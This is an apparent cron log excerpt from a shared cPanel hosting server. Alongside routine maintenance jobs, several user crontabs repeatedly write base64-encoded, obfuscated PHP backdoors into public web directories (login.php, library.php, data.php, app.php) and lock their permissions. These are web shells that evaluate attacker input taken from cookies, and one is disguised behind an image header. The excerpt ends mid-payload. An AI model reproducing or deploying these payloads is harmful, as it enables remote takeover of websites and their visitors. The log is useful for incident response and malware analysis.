Jun  7 15:49:01 medusa CROND[31858]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:49:01 medusa CROND[31859]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:49:01 medusa CROND[31861]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:49:01 medusa CROND[31862]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:49:01 medusa CROND[31863]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 15:50:01 medusa CROND[1640]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 15:50:01 medusa CROND[1642]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 15:50:01 medusa CROND[1649]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 15:50:01 medusa CROND[1674]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:50:01 medusa CROND[1675]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 15:50:01 medusa CROND[1679]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 15:50:01 medusa CROND[1680]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:50:01 medusa CROND[1682]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:50:01 medusa CROND[1681]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:50:01 medusa CROND[1683]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:50:01 medusa CROND[1684]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 15:50:01 medusa CROND[1685]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 15:50:01 medusa CROND[1678]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 15:50:01 medusa CROND[1691]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:50:01 medusa CROND[1677]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 15:50:01 medusa CROND[1676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:50:01 medusa CROND[1692]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 15:50:01 medusa CROND[1693]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 15:50:01 medusa CROND[1696]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 15:50:01 medusa CROND[1704]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:50:01 medusa CROND[1705]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:50:01 medusa CROND[1694]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 15:50:01 medusa CROND[1719]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:50:01 medusa CROND[1724]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:50:01 medusa CROND[1720]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 15:50:01 medusa CROND[1725]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 15:50:01 medusa CROND[1723]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 15:50:01 medusa CROND[1707]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 15:50:01 medusa CROND[1706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:50:01 medusa CROND[1726]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 15:51:01 medusa CROND[3902]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 15:51:01 medusa CROND[3903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:51:02 medusa CROND[3920]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 15:51:02 medusa CROND[3921]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 15:51:02 medusa CROND[3922]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:51:02 medusa CROND[3923]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:51:02 medusa CROND[3924]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:51:02 medusa CROND[3925]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:51:02 medusa CROND[3927]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:51:02 medusa CROND[3930]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0g